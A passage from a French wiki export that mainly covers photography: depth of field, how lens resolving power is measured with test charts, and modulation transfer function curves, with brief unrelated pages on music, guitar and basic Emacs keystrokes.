laquelle doit se trouver le sujet à photographier pour que l'on puisse en obtenir une image que l'œil (ou un autre système) acceptera comme nette. * Le diaphragme est un dispositif de mise au point qui a l'inconvénient d'assombrir l'image quand on le ferme ; il ne devrait pas servir à doser la lumière. * Quand on ferme le diaphragme, la profondeur de champ augmente, puis la diffraction dégrade l'image. Un photographe averti sait comment augmenter ou diminuer la zone de netteté selon ce qu'il recherche, il ne laisse jamais à l'appareil le soin de régler le diaphragme à sa place... * La structure de la rétine fait que l'œil voit globalement très flou, sauf dans la zone centrale de la rétine. * Il compense cette insuffisance par une très grande mobilité qui lui permet de parcourir rapidement les diverses zones du sujet. * Le pouvoir séparateur de l'œil est défini par la distance angulaire en-dessous de laquelle deux points lumineux ne peuvent plus être distingués. * L'iris de l'œil et le diaphragme de l'appareil photo n'ont pas les mêmes fonctions et il faut se garder de toute comparaison abusive. * La profondeur de champ dépend de la distance à laquelle on regarde une image. * La perspective ne dépend que du point de vue. On la retrouve en observant une photographie sous un angle identique à celui sous lequel l'appareil « voyait » le sujet, il faut se placer pour cela à une distance précise dite distance orthoscopique. * L'impression de netteté est intimement liée au contraste mais ces deux notions ne doivent jamais être confondues. * La profondeur de foyer correspond à l'intervalle dans lequel doit se trouver le plan de la pellicule ou du capteur pour que l'image soit considérée comme nette. Elle est d'autant plus grande que le focale est plus longue, le grandissement plus important et le diaphragme plus fermé. * On peut calculer les deux limites de l'intervalle de distance dans lequel un sujet peut donner une image nette. Le diaphragme est bien un instrument de mise au point ! * En fermant trop un objectif, le gain sur la profondeur de champ s'accompagne d'une dégradation plus importante sous l'effet de la diffraction. * La profondeur de champ varie avec la focale. Mathématiquement, c'est parfaitement exact ... mais en pratique, c'est presque toujours faux ! * Si l'on met au point sur l'infini, la netteté commence à la distance hyperfocale h. Si l'on met au point sur la distance hyperfocale, la netteté s'étend de h/2 à l'infini. * Les graduations de profondeur de champ sur les objectifs sont une aide précieuse pour obtenir des images nettes. * Avec le testeur de profondeur de champ, vous pourrez dire : pas vu, pas pris ! * Les déformations apparentes provoquées par les téléobjectifs et par les grand angulaires disparaissent lors d'un examen à la distance orthoscopique. * En macrophotographie, pour un format de négatif ou de capteur donné, lorsque l'image finale est examinée depuis une distance égale à sa diagonale, la profondeur de champ dépend du grandissement souhaité lors de la prise de vue et de l'ouverture du diaphragme mais pas de la focale de l'objectif utilisé pour la prise de vue. * La profondeur de champ augmente quand le format de prise de vue diminue, et inversement. * Il ne sert à rien qu'un objectif soit très lumineux, s'il n'est pas bon dès la pleine ouverture ! Un meilleur confort de visée, souvent très cher payé, ne garantit nullement la qualité des images ... == Systèmes de stabilisation == Voir l'article détaillé '''[[Photographie - 14 - Systèmes de stabilisation|systèmes de stabilisation]]'''. MEF 4937 18620 2005-08-06T02:25:30Z Greudin 1 MEF déplacé vers Méthode des éléments finis: sigle explicité #redirect [[Méthode des éléments finis]] Photographie - 14 - Pouvoir séparateur des objectifs 4938 45561 2006-06-24T12:04:54Z Jean-Jacques MILAN 114 {{Photographie}} {{Photo_14}} Le regretté Chenz aimait à dire : « Il y a trois sortes d'objectifs : ceux que j'utilise, ceux que je tolère entre les mains de mes amis et ceux que je conseille à mes ennemis ». La détermination du pouvoir séparateur d'un objectif peut se faire par des moyens relativement simples et peu coûteux. On peut la conseiller aux photographes désireux de mieux connaître leur matériel et ses limites en vue d'une utilisation optimale. Elle permet aussi de tester les possibilités offertes par l'association d'un objectif avec un complément optique, de déceler la présence d'un vice caché tel qu'un mauvais centrage des lentilles, par exemple sur un matériel d'occasion, ou encore de vérifier si un objectif "accidenté" n'a pas trop souffert. {| cellpadding="5" |- |[[Image:Remfeldt 3.jpg]] |Aage Remfeldt, photographe et portraitiste norvégien, né et mort au Danemark (1879-1983), pose ici devant sa vieille chambre photographique munie du « nouvel » objectif Zeiss de 489 mm qu'il acheta en 1918. <br> Il serait intéressant de comparer les performances de ce « caillou » historique aux fabrications modernes pour constater les progrès accomplis. |- |} == Principe == Pour estimer rapidement la qualité d'un objectif, on peut photographier un sujet comportant de fins détails (journal déplié, carte routière…). Cependant, pour réaliser des mesures dignes de ce nom, il faut opérer dans des conditions précises et utiliser des « mires » spécialement conçues à cet effet. Les mires destinées à l'étude du pouvoir séparateur comportent toujours un certain nombre d'objets constitués de traits dont les dimensions correspondent autant que possibles à des normes précises, de façon que les tests pratiqués soient reproductibles. == Définitions == {| cellpadding="5" |- |[[Image:Groupe de mire.png|110px|center]] | Une réalisation typique est constituée d'un ensemble de groupes de trois traits parallèles séparés par des intervalles de même largeur. La taille de ces groupes décroît selon une progression régulière. La '''période''', ou '''pas''', est la distance des axes de deux traits consécutifs. Un '''élément de mire''' est un ensemble de traits de même période et de même orientation. Un '''groupe élémentaire de mire''' est un ensemble d'éléments de même période différemment orientés. |- |[[Image:Mire.png|center]] |Une '''mire''' est une collection de groupes élémentaires de même contraste mais de périodes différentes. La '''fréquence''' (ou fréquence spatiale) d'un groupe élémentaire de mire est l'inverse de la période, donc le nombre de traits par unité de longueur. <br> On peut photographier une telle mire sur une émulsion très fine, puis examiner les clichés avec une forte loupe ou un microscope. Si l'on désire des résultats indépendants des caractéristiques de la surface sensible, et si l'on dispose de l'équipement approprié, il vaut mieux analyser directement l'image aérienne fournie par l'objectif. Il n'est pas recommandé d'opérer sur des agrandissements car trop de défauts seraient alors cumulés. |- |} Plus les éléments de mire sont fins, moins leurs images sont nettes. La '''limite de résolution linéaire''' est la distance qui sépare les axes de deux traits consécutifs, sur l'axe de l'image de l'élément de mire, lorsque cette distance est juste suffisante pour percevoir ces traits et les compter en nombre égal à ceux de l'élément de mire. Elle dépend des propriétés de l'objectif mais aussi du contraste de la mire, de la densité de l'image développée, de son traitement, ... Le '''pouvoir séparateur''' est l'inverse de la limite de résolution linéaire : par exemple, si cette dernière est de 0,02 mm, le pouvoir séparateur est de 50 traits par mm. De nombreux types de mires ont été proposés, qui doivent toutes être utilisées dans des conditions bien précises. == Présentation typique des résultats == Les résultats des tests de pouvoir séparateur sont généralement publiés sous forme de graphiques. Voici ce que l'on peut obtenir en fonction de l'ouverture de [[diaphragme]] n avec un mauvais objectif, à gauche, un moyen, au centre et un bon, à droite. Le pouvoir séparateur est toujours plus élevé au centre de l'image que sur les bords. Il est généralement plus faible aux grandes ouvertures à cause des diverses aberrations et toujours plus faible aux petites ouvertures à cause de la [[diffraction]]. Certains objectifs de haut de gamme fournissent cependant d'excellentes prestations dès l'ouverture maximum. A titre indicatif, la zone grise correspond aux performances moyennes des films d'environ 400 ISO. [[Image:Pouvoir séparateur de trois objectifs.png|600px]] [[Image:Mire 3.png|200px]] [[Image:Mire 2.png|200px]] [[Image:Mire 1.png|200px]] Voici plusieurs décennies, les tests de pouvoir séparateur étaient à la mode. Les mauvaises langues disent même que bien des objectifs prestigieux achetés par certains amateurs aussi maniaques que fortunés n'ont jamais rien photographié d'autre que des mires ! Sans tomber dans ce travers, il faut bien reconnaître que les objectifs des années 1960-70 n'étaient pas tous bons, loin de là, et que l'on avait quelques bonnes raisons pour les tester. Aujourd'hui, les "culs de bouteille" sont plus rares mais pour autant, ils n'ont pas complètement disparu. Contrairement à d'autres méthodes qui demandent un savoir-faire et un équipement hors de portée de l'amateur, la photographie de mires ne présente pas de grosse difficulté. == Utilisation des mires == La mire normalisée représentée ci-dessus comporte huit groupes de mire de taille décroissante comportant chacun quatre éléments orientés à 45° les uns par rapport aux autres. De façon classique, on utilise neuf mires identiques placées sur un tableau rectangulaire : une au centre, quatre vers les milieux des côtés, quatre dans les coins. En principe, ce tableau est photographié depuis une distance égale à 100 fois la distance focale de l'objectif. Cela donne par exemple 1,7 m pour un 17 mm, 5 m pour un 50 mm ou 30 m pour un 300 mm. Il faut alors du recul ! Cette distance n'est pas choisie au hasard, elle correspond aux conditions de prise de vues les plus courantes. Avec un objectif grand angulaire, on opère souvent de près par manque de recul ou parce qu'on veut meubler un paysage avec un premier plan. Avec un objectif standard on photographie très souvent des scènes situées à quelques mètres. Avec un puissant téléobjectif, au contraire, on cherche à "rapprocher" des scènes plus éloignées. Dans certains cas on ne peut opérer qu'à des distances plus faibles, par exemple pour des objectifs médiocres. La qualité des objectifs "macro" s'apprécie évidemment à très faible distance mais il faut alors utiliser des mires et des procédures spécialement adaptées. La mire doit être fortement éclairée par des lampes flood, des torches à halogènes, ... de façon à faciliter la visée. Afin de réduire l'influence de la lumière parasite sur l'image finale, il est préférable d'utiliser des mires à traits blancs sur fond noir éclairées par derrière, mais cette méthode est rarement pratiquée, pour des raisons d'encombrement et de coût. En décalant légèrement la mise au point dans un sens et dans l'autre on peut vérifier par la même occasion la qualité du viseur ou de l'autofocus. Si cette variation de mise au point donne des résultats différents, on ne retient évidemment que les meilleurs, pour ne pas prendre en compte des défauts qui ne sont pas dûs à l'objectif. L'axe optique doit être très exactement perpendiculaire au tableau et passer par son centre. Un support parfaitement stable s'impose pour éviter tout risque de bougé. L'exposition se fait de préférence en réglant l'obturateur en pose B ou T et en masquant et démasquant l'objectif à l'aide d'un volet en carton noir, ce qui évite les vibrations dues à l'[[obturateur]] et à la remontée du miroir des appareils réflex. On peut aussi opérer dans un local entièrement noir et exposer, objectif ouvert, en allumant les lampes pendant un temps déterminé. Il faut toujours éviter les temps de pose « intermédiaires », de l'ordre de 1/4 à 1/30e s, pour lesquels les vibrations dues au mouvement du miroir et de l'obturateur se font le plus sentir. Ceci vaut également pour la photographie courante. La prise de vues se fait obligatoirement sur un film à grain fin développé dans des conditions rigoureuses et constantes pour permettre des mesures comparatives. Malheureusement, après la disparition du Kodachrome 25 et de l'Ektar 25 en couleurs, de l'Agfapan 25 et du Technical Pan Kodak en noir et blanc, le choix est maintenant très limité, mais heureusement les films modernes de 100 ISO sont de bien meilleure qualité que leurs aînés de même sensibilité. L'examen direct de l'image est toujours préférable mais il nécessite une très forte loupe ou mieux un microscope, le meilleur grandissement étant d'environ 30 à 40 fois. Faute de mieux, on peut aussi utiliser un agrandisseur équipé d'un très bon objectif ; l'image est alors observée à l'aide d'un vérificateur de mise au point mais cette méthode n'est pas très précise. == Tracé et interprétation des courbes de pouvoir séparateur == Pour obtenir les valeurs du pouvoir séparateur il faut faire correspondre les dimensions de la mire avec celles de son image. C'est très simple si la distance entre la mire et l'objectif à tester est égale à 100 fois la distance focale de ce dernier, le grandissement est alors très voisin de 1/100e et le pas de l'image de la mire est donc 100 fois plus petit que celui de la mire elle-même. Si les traits les plus fins visibles sur une image viennent d'éléments de mire de pas 2 mm, le pas de l'image est de 0,02 mm, la limite de résolution vaut 0,02 mm et le pouvoir séparateur 50 traits par mm. {| |- | [[Image:Radial tangentiel.png|150px|center]] | Les éléments de mire dont les traits sont tangentiels (à gauche) donnent le pouvoir séparateur radial ; inversement, avec des traits radiaux (à droite), on obtient le pouvoir séparateur tangentiel. Pour un même objectif, ces valeurs sont presque toujours différentes dans une zone donnée. <br> Le pouvoir séparateur est généralement meilleur au centre de l'image que sur les bords et meilleur également dans le sens radial que dans le sens tangentiel. Pour la plupart des objectifs, la fermeture du diaphragme améliore les résultats en limitant l'effet des aberrations, puis les dégrade en faisant apparaître de la diffraction. Les optiques de très haute qualité donnent leurs meilleurs résultats dès la pleine ouverture mais sont soumis, comme les autres, à la diffraction. |- | [[Image:Rokkor.png|350px|center]] | Le bon objectif Rokkor 3,5/75 testé par Photo-Ciné-Revue (c'est une antiquité ...) doit autant que possible être utilisé au diaphragme 11 ! |- | [[Image:Pancolar.png|350px|center]] | Les spécialistes de la photo en faible lumière cassent parfois leur tirelire pour acheter un objectif très lumineux. Or, un tel "caillou" n'est vraiment intéressant que s'il est bon à pleine ouverture, ce qui n'est pas toujours le cas ! Bien des objectifs modernes se comportent comme ce Pancolar testé par Photo-Ciné-Revue, qui donnait une netteté remarquablement homogène au diaphragme 11 mais très faible à 2 et 2,8 et pitoyable à 1,4. La possibilité de faire de mauvaises photos se paie parfois très cher ! Pour un coût très inférieur, des objectifs un peu moins lumineux donnent une netteté au moins aussi bonne aux ouvertures moyennes. |- |[[Image:Zuiko.png|350px|center]] | La conclusion est inverse pour l'excellent Zuiko Auto S 1,8/38 testé par Photo-Ciné-Revue, grand angulaire lumineux destiné au reportage et qui offrait ses meilleures performances à pleine ouverture. Les ravages de la diffraction à faible ouverture sont évidents et avec une telle optique, si la luminosité est forte, il vaut mieux adopter un temps de pose très court que fermer le diaphragme. |- |} Les objectifs modernes ont eux aussi des comportements variés, tout comme les anciens ... Naturellement, l'aptitude à donner des ima­ges nettes n'est qu'une qualité optique parmi d'autres. Ainsi, par exemple, un objectif donnant des images très "piquées" mais fortement distordues sera inutilisable en photo d'architecture. == Limites des tests de pouvoir séparateur == Tout d'abord, le chiffrage du pouvoir séparateur est très subjectif puisqu'il fait appel à une estimation par des observateurs humains. Les résultats peuvent changer sensiblement d'une personne à l'autre. Les valeurs obtenues dépendent de nombreux facteurs, en particulier des rapports entre la largeur et la longueur des traits et entre les largeurs des traits blancs et noirs. Par ailleurs, les tests font appel à des structures périodiques qui posent d'autres problèmes, en particulier si les résultats sont établis à partir d'images sur films. Si le pouvoir séparateur du film ou du capteur est inférieur à celui de l'objectif testé, les mesures n'auront aucune valeur ! Si les deux pouvoirs séparateurs sont voisins, il est clair que l'on testera le film en même temps que l'objectif. Les normes en vigueur préconisent l'emploi de mires très contrastées favorisant l'obtention de valeurs élevées pour le pouvoir séparateur. Il est donc normal qu'en opérant avec les moyens du bord (mire en papier punaisée au mur …) on obtienne des résultats moins flatteurs. La première limite des tests décrits précédemment réside dans le fait que les courbes ne caractérisent pas seulement l'objectif testé, mais plutôt l'ensemble constitué par cet objectif, le boîtier qui le porte, l'émulsion, les produits de traitement utilisés, éventuellement l'opérateur, sans oublier le contraste de la mire, qui est un élément fondamental. Il s'agit là d'un point particulièrement important : le film Kodak Eastman Positive, par exemple, permet d'atteindre un pouvoir séparateur de 200 traits par mm à partir d'une mire éclairée par transparence dont les traits blancs sont 1000 fois plus lumineux que les noirs (contraste de 3) mais si le rapport des luminances des traits tombe à 1,6 (contraste de 0,2), ce qui est beaucoup plus représentatif des situations réelles, le pouvoir séparateur de cette émulsion n'atteint plus que 100 traits par mm. Pour le Kodachrome II jadis utilisé pour tester les objectifs des caméras Super-8, avec les mêmes contrastes de mire, les valeurs étaient respectivement de 95 et 30 traits par mm. Ce résultat est presque immédiatement transposable au comportement des capteurs numériques. Dans un lot d'objectifs en principe identiques, les résultats des mesures peuvent être très différents d'un exemplaire à l'autre. Si le test est fait sur un seul exemplaire, l'honnêteté intellectuelle la plus élémentaire conduit à fournir son numéro de série. Si l'on souhaite une valeur vraiment représentative du lot, il faut tester un nombre suffisant d'exemplaires pour que l'exploitation statistique des résultats soit fiable. S'il s'agit de super-téléobjectifs coûtant chacun le prix d'une petite voiture, on y regardera évidemment à deux fois ! C'est pourquoi '''les « tests de pouvoir séparateur » publiés par certaines revues n'ont en général aucune valeur !!!!''' Il s'agit le plus souvent de résultats de seconde main plus ou moins habilement exploités. D'ailleurs ces revues ne disposent d'aucun moyen de mesure digne de ce nom et se gardent bien de fournir des références opératoires précises et a fortiori des valeurs numériques ... Indépendamment de ces problèmes d'éthique, les tests de pouvoir séparateur présentent un grave défaut : ils ne prennent pas vraiment en compte la façon dont l'œil perçoit les images. Un objectif doté d'un pouvoir séparateur élevé pourra très bien donner des images « molles », un autre fournira au contraire des images « vigoureuses » malgré un pouvoir séparateur plus modeste ... Ce paradoxe n'est qu'apparent ; en plus des caractéristiques purement physiques des images, toute étude relative à la netteté des images doit tenir compte de la manière selon laquelle l'œil perçoit et interprète les informations qu'il reçoit. C'est pourquoi les opticiens ont développé d'autres méthodes de test, hélas fort complexes et fort coûteuses, pour mieux évaluer les véritables performances des objectifs. Page suivante : '''[[Photographie - 14 - Fonction de transfert de modulation|Fonction de transfert de modulation]] ''' Modèle:Photographie 4939 45568 2006-06-24T12:13:19Z Jean-Jacques MILAN 114 <center><big>'''Ce document est un des chapitres du Wikilivre consacré à la [[photographie]]'''.</big></center> [[Catégorie:Photographie]] {| cellpadding="3" cellspacing="3" align="center" style="border: 1px solid #6f8f9f; background-color: #EAF5FB" |- |bgcolor="EAF5FB" align="center"|[[Image:Joseph Nicéphore Niépce.jpg|130px]]<br>Joseph Nicéphore<br> Niépce (1765-1833) | '''<u>navigation rapide</u> : ''' • [[Photographie|plan général]] • [[Photographie - Bibliographie|bibliographie]] • [[Photographie - Modèles|modèles]] • [[google:site:fr.wikibooks.org|recherche Google]] • [[Photographie - Chapitre 00 - En attente|00 en attente]]<br> • [[Photographie - Chapitre 01 - Un peu de mathématiques|01 mathématiques]] • [[Photographie - Chapitre 02 - Rappels de physique et de chimie|02 physique et chimie]] • [[Photographie - Chapitre 03 - Les réactions chimiques|03 réactions]] • [[Photographie - Chapitre 04 - Rayonnements et lumière|04 lumière]] • [[Photographie - Chapitre 05 - Photométrie|05 photométrie]] • [[Photographie - Chapitre 06 - Propagation de la lumière|06 propagation]]<br> • [[Photographie - Chapitre 07 - Systèmes optiques simples, lentilles|07 systèmes simples]] • [[Photographie - Chapitre 08 - Systèmes centrés, objectifs|08 objectifs]] • [[Photographie - Chapitre 09 - Appareils photographiques|09 appareils]] • [[Photographie - Chapitre 10 - Physicochimie des émulsions photographiques|10 émulsions]] • [[Photographie - Chapitre 11 - Densitométrie|11 densitométrie]]<br> • [[Photographie - Chapitre 12 - Sensitométrie|12 sensitométrie]] • [[Photographie - Chapitre 13 - Les traitements physicochimiques des émulsions| 13 traitements]] • [[Photographie - Chapitre 14 - Netteté des images photographiques|14 netteté]] • [[Photographie - Chapitre 15 - Les bases du temps de pose en négatif|15 pose en négatif]] • [[Photographie - Chapitre 16 - Traitements par inversion, bases du temps de pose en inversible| 16 inversible]] • [[Photographie - Chapitre 17 - Mesure de la lumière|17 posemètres]]<br> • [[Photographie - Chapitre 18 - Les sources d'éclairage|18 éclairage]] • [[Photographie - Chapitre 19 - Les filtres|19 filtres]] • [[Photographie - Chapitre 20 - Le tirage des positifs|20 positifs]] • [[Photographie - Chapitre 21 - Colorimétrie|21 colorimétrie]] • [[Photographie - Chapitre 22 - Photographie en couleurs|22 couleurs]] • [[Photographie - Chapitre 23 - Techniques scientifiques|23 scientifique]]<br> • [[Photographie - Chapitre 25 - Photographie numérique|25 numérique]] • [[Photographie - Chapitre 30 - Composition des photographies|30 composition]] • [[Photographie - Chapitre 31 - Thèmes photographiques|31 thèmes]] • [[Photographie - Chapitre 40 - Fabricants de matériels|40 fabricants]] '''<u>veuillez noter</u> :''' * utilisez les pages de discussion pour vos remarques (positives ou négatives) et vos questions. * pour la [[google:site:fr.wikibooks.org|recherche Google]] : tapez votre texte après l'invite, par ex. « site:fr.wikibooks.org ''diaphragme'' ». * pour ajouter un nouveau paragraphe, utilisez de préférence la page [[Photographie - Chapitre 00 - En attente|00 en attente]]. |- |} <br> [[Image:Crystal 128 down.png|40px|center]] <br> Modèle:En vacances 4940 18635 2005-08-06T09:58:59Z W'rkncacnter 327 copié depuis wikipedia {| align="center" style="text-align:center; border:1px solid #0000FF; background-color:#DDFFDD;" |- padding:1em;padding-top:0.5em;" |Ce contributeur est actuellement en [[w:vacances|vacances]]. <br /> Il ne pourra donc pas répondre à vos messages dans l'immédiat. |} Wikiversité:Musique 4946 18773 2005-08-07T10:45:23Z Greudin 1 #REDIRECT[[Wikiversité:Faculté de Musique]] redirection #REDIRECT[[Wikiversité:Faculté de Musique]] Guitare 4947 40382 2006-04-16T13:49:43Z Pseudomoi 395 {{Sisterlinks|Category:Guitar}} Voici les ouvrages et cours concernant la '''guitare'''. == Ouvrages == * [[Guitare basse]] * [[Structure de la guitare]] == Cours == [[Catégorie:Musique]] *[[Wikiversité:Guitare classique|Guitare classique à la faculté de Musique]] Wikiversité:Faculté de Musique 4948 35038 2006-02-27T16:20:21Z AntoineVE 1194 '''Bienvenue sur la page de la Faculté de Musique de la Wikiversité !''' =Disciplines théoriques= ==Histoire de la musique== ==Analyse== ==Harmonie et contrepoint== ==Esthétique== ==Acoustique musicale== =Disciplines pratiques= ==Générale== ===Technique Alexander=== ===Activité sportive=== ===Equilibre psychologique=== ===Carrière, promotion=== ==Classique== ===[[Cordes]]=== ====[[Violon]]==== ====[[Alto]]==== ====[[Violoncelle]]==== ====[[Contrebasse]]==== ====[[Harpe]]==== ====[[Wikiversité:Guitare classique|Guitare]]==== ===[[Claviers]]=== ===[[Percussions]]=== ===[[Vents]]=== ====[[Cuivres]]==== =====[[Wikiversité:tuba|Tuba, Saxhorn et Baryton]]===== ===[[Direction d'orchestre]]=== ==[[Musique ancienne]]== ====[[Luth]]==== ==[[Jazz]]== ==[[Musique populaire]]== [[en:Wikiversity:School_of_Music]] [[it:Wikiversità:Scuola_di_Musica]] [[es:Wikiversidad]] [[pt:Wikiversidade:_Humanidades]] Programmation Emacs 4950 18784 2005-08-07T13:24:55Z 81.53.206.22 début Emacs est un éditeur de texte très puissant, comportant de nombreuses fonctionnalités avancées. Cependant, sa prise en main est plutôt difficile. ===Notations utilisées=== * C-x par exemple signifie "appuyer sur la touche Ctrl puis, tout en la gardant enfoncée, appuyer sur la touche X". * M-x signifie la même chose avec la touche Méta, en fait le plus souvent la touche Alt ou Echap. * On peut avoir plusieurs raccourcis à la suite: C-x C-c signifie "faire ce qui est expliqué ci-dessus avec la touche X puis relacher et recommencer avec la touche C". Cela parait compliqué car j'explique mal mais on s'y fait vite. ===Le minimum vital=== *Pour lancer Emacs, il suffit de taper "emacs" dans une ligne de commande. Vous pouvez aussi le lancer en donnant un fichier en argument, "emacs mon_fichier", pour que Emacs ouvre ce fichier. *Pour quitter Emacs, faites "C-x C-c" *Pour annuler une commande, faites "C-g" *Pour ouvrir un fichier, faites "C-x C-f". Cela va faire apparaitre un prompt sur la dernière ligne de l'écran, vous demandant quel fichier ouvrir. Ce prompt supporte la complétion automatique. *Pour sauvegarder un fichier, faites "C-x C-s" Photographie - 14 - Fonction de transfert de modulation 4951 45559 2006-06-24T12:04:11Z Jean-Jacques MILAN 114 {{Photographie}} {{Photo_14}} On tend de plus en plus à remplacer la mesure du [[Photographie - Chapitre 14 - Pouvoir séparateur des objectifs|pouvoir séparateur]] des objectifs par la détermination de leur fonction de transmission du contraste, plus souvent appelée '''fonction de transfert de modulation''' (FTM). La fonction de transfert de modulation ne s'applique pas seulement aux objectifs ni même seulement à la photographie. Elle est en fait le meilleur outil d'évaluation de tous les systèmes de traitement des signaux et on l'utilise aussi en électronique, en acoustique et dans bien d'autres secteurs d'activité. Dans le domaine qui nous préoccupe, la FTM qui permet de passer du sujet à l'image perçue peut, mathématiquement, être comprise comme le « produit » des diverses FTM de l'objectif, du film ou du capteur, de l'agrandisseur ou de l'imprimante, du papier support ou de l'écran et enfin, de l'œil. == Les bases de la FTM == {| cellpadding="5" |- |[[Image:FTM 1.png|175px]] | On pourrait concevoir des mires dont les traits se resserreraient de plus en plus selon une loi mathématique donnée mais malheureusement, l'étude mathématique de la dégradation de l'image d'une mire est très complexe lorsque les teintes de cette mire varient de façon discontinue (ici, uniquement du noir et du blanc). |- | [[Image:Lignes 2.jpg|175px]] | Il est en fait beaucoup plus facile d'utiliser des mires dont les luminances varient de façon sinusoïdale entre deux valeurs extrêmes. |- | [[Image:FTM 2.jpg|175px]] | En combinant les deux, on crée un nouveau type de mire dont les traits de plus en plus serrés ne sont plus alternativement noirs et blancs, mais oscillent selon une loi sinusoïdale entre ce que nous appellerons arbitrairement le « noir pur » et le « blanc pur », en passant par toute la gamme des gris. |- | [[Image:FTM 3.jpg|175px]] | L'image d'une telle mire produite par un objectif à tester aura peu ou prou l'aspect montré ci-contre. Le contraste est presque inchangé pour les faibles fréquences spatiales mais il diminue au fur et à mesure que les lignes se resserrent jusqu'à donner finalement une plage presque uniforme où l'on ne peut plus distinguer aucun détail. Les teintes n'oscillent plus entre le « noir pur » et le « blanc pur » mais entre deux gris de plus en plus proches au fur et à mesure que la fréquence spatiale augmente. |- |} == Tracé et interprétation des courbes == Tout ceci peut se mettre sous la forme d'un graphique semblable au suivant : [[Image:FTM 4.png|350px]] La courbe en trait fin montre que la densité de la mire oscille entre deux valeurs extrêmes, tandis que la zone grise représente la [[densité]] de l'image. On appelle Ao l'amplitude constante des variations de densité de la mire et A l'amplitude variable des densités de l'image. Le rapport A/Ao, qui diminue progressivement lorsque les traits se resserrent, caractérise la dégradation progressive du contraste de l'image et permet d'évaluer l'aptitude éventuelle de l'objectif testé à fournir des images riches en détails '''visibles'''. Il ne sert en effet à rien qu'un objectif donne des images très fouillées si elles sont trop peu contrastées pour que l'œil puisse en distinguer les éléments ! Le tracé de la courbe qui représente sa fonction de transfert de modulation renseigne bien mieux sur le comportement d'un objectif que la simple mesure du pouvoir séparateur. Ce dernier correspond au point le plus bas, celui où les informations disparaissent, mais n'indique rien de ce qui peut se passer auparavant. [[Image:Courbes FTM.png|350px]] Un objectif « parfait » fournit des images dont la qualité baisse graduellement en raison de la [[diffraction]]. La courbe A est celle d'un objectif capable de restituer un contraste élevé malgré un pouvoir séparateur moyen. La courbe B caractérise au contraire un objectif dont le pouvoir séparateur est très bon mais qui donnera cependant à l'usage des images beaucoup plus "molles" que le premier ... == Un exemple concret == Le magazine Photo-Ciné-Revue, aujourd'hui disparu, avait entrepris de publier les courbes FTM de très nombreux objectifs. Les premiers résultats étaient complets mais hélas difficiles à utiliser. Voici par exemple le bilan d'un test réalisé sur un objectif de focale fixe 2,8/135 mm. Cet objectif est relativement ancien mais le comportement général des productions modernes n'est pas fondamentalement différent. Comme dans le cas du pouvoir séparateur, la différenciation des traits permet de situer l'emplacement et la direction de la mesure. <gallery> Image:FTM 2,8.png|à 2,8 Image:FTM 4a.png|à 4 Image:FTM 5,6.png|à 5,6 </gallery> <gallery> Image:FTM 8.png|à 8 Image:FTM 11.png|à 11 </gallery> D'une manière générale cet objectif ne permet d'obtenir à pleine ouverture que des images assez "molles", surtout sur les bords. En diaphragmant, la qualité croît assez vite dans la zone centrale pour devenir optimale vers 8. Par contre l'image reste très longtemps médiocre sur les bords et il faut atteindre 11 pour que sa qualité devienne relativement homogène sur tout le champ. Les valeurs n'ont pas été données au-delà de cette valeur, vraisembablement parce que les résultats se dégradent très rapidement à cause de la diffraction. Comparées aux représentations du pouvoir séparateur, les courbes FTM contiennent beaucoup plus d'informations mais on ne peut pas en résumer toute la richesse sur une seule figure, puisqu'il faut un graphique par valeur de diaphragme. Pour un zoom il faut plusieurs séries de graphiques correspondant aux focales extrêmes et intermédiaires. Pour un objectif destiné à la photographie rapprochée, on doit aussi faire varier la distance de mise au point ... L'évaluation complète d'un « zoom macro » nécessite de ce fait plusieurs dizaines de graphiques ! Chaque photographe doit s'efforcer de connaître aussi bien que possible les caractéristiques et les limites de son équipement, afin de pouvoir en tirer le maximum. Le moins que l'on puisse dire est que les fabricants d'objectifs ne font pas grand chose pour l'encourager dans ce sens. Le temps, pas si lointain, où les objectifs Angénieux étaient vendus accompagnés de leurs courbes FTM est hélas bel et bien révolu. Cela dît, les tests FTM posent deux problèmes essentiels : d'une part ils nécessitent un équipement complexe et onéreux que bien peu de laboratoires ont les moyens de s'offrir, d'autre part leur utilisation pratique nécessite quelques connaissances théoriques et de ce fait, elle est plus ou moins réservée à un public averti. L'Ecole Supérieure d'Optique (BP 147 - 91403 ORSAY CEDEX), par exemple, peut tester à la demande des instruments d'optique. Quant au magazine ''Chasseur d'Images'', il s'est doté d'un laboratoire d'essais équipé, entre autres, d'un banc FTM qui lui permet de publier des tests d'objectifs tout à fait fiables. == Évolutions récentes et à court terme == Les développements récents des techniques numériques obligent désormais, dans un certain nombre de cas, à tester non plus l'objectif seul mais l'ensemble constitué par un objectif, un capteur et le logiciel embarqué dans l'appareil. Par ailleurs, il est maintenant possible de corriger après coup certains défauts des images et dans ce cas, tout se passe comme si l'objectif qui les a engendrées était meilleur qu'il ne l'est réellement. En effet, les diverses [[aberration]]s et anomalies qui rendent imparfaites les images données par un objectif sont de nature très différentes et certaines peuvent aujourd'hui être assez bien corrigées : * la '''distorsion''' déforme les images en « barillet » ou en « coussinet », elle est inacceptable dans de nombreux domaines tels que la reproduction d'œuvres d'art ou la photographie d'architecture. Il est désormais très facile de l'éliminer à l'aide de n'importe quel bon logiciel de traitement d'images, au prix toutefois d'un léger recadrage. * le '''vignetage''' assombrit les coins des images et peut lui aussi être corrigé plus ou moins facilement. * l''''aberration chromatique''' abaisse la netteté au fur et à mesure que l'on s'éloigne du centre de l'image. Elle est due au fait que les dimensions et la position des images données par les objectifs dépendent de leur couleur ; généralement, l'image du rouge est légèrement plus grande et plus éloignée de l'objectif que celle du bleu. Dans la mesure où l'on connaît exactement les paramètres de cette aberration, il devient possible d'en corriger au moins partiellement les effets. Dans l'immédiat, il existe déjà des logiciels comme DxO capables d'effectuer tout ou partie de ces corrections mais de nombreuses possibilités nouvelles s'offrent aux opticiens et aux constructeurs d'appareils. Parions que nous en entendrons parler dans un proche avenir. La construction d'un objectif est toujours le résultat d'un compromis car en voulant éliminer une aberration, on renforce généralement les autres. Le fait de savoir que des défauts peuvent être corrigés après coup permet aux opticiens de sacrifier volontairement certaines corrections et de disposer ainsi d'une plus grande marge de manœuvre. On assistera peut-être à la mise sur le marché d'objectifs affectés d'une distorsion ou d'une aberration chromatique monstrueuse mais qui, associés à un logiciel embarqué ad hoc, permettront en fin de compte d'obtenir des fichiers numériques exempts de ces défauts. Évidemment, ces objectifs seraient inutilisables pour produire des diapositives et, jugés selon les critères de qualité nécessaires pour la photographie argentique, ils seraient recalés à presque tous les tests. Depuis plusieurs années, les progrès en matière d'objectifs ont été considérables, car il a fallu adapter le pouvoir séparateur des objectifs aux caractéristiques des capteurs numériques. Il ne sert à rien, en effet, de faire évoluer la taille des photosites de 